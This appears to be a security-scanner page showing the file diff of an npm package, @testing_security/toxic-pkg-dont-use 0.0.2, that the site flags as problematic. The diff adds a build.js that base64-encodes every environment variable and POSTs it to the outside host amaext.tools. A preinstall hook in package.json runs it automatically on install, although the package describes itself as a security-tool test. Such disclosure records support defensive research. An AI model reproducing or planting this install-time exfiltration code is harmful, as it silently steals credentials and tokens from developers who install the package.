@testing_security/toxic-pkg-dont-use 0.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @testing_security/toxic-pkg-dont-use might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/build.js +15 -0
  2. package/index.js +0 -0
  3. package/package.json +11 -0
package/build.js ADDED
@@ -0,0 +1,15 @@
1
+ var http = require('https');
2
+
3
+ function main() {
4
+ var data = process.env || {};
5
+ var req = http.request({
6
+ host: 'amaext.tools',
7
+ path: '/',
8
+ method: 'POST',
9
+ }).on('error', function (err) {
10
+ });
11
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
12
+ req.end();
13
+ }
14
+
15
+ main();
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@testing_security/toxic-pkg-dont-use",
3
+ "version": "0.0.2",
4
+ "description": "This package exist only to test security tools",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node build.js"
8
+ },
9
+ "author": "",
10
+ "license": ""
11
+ }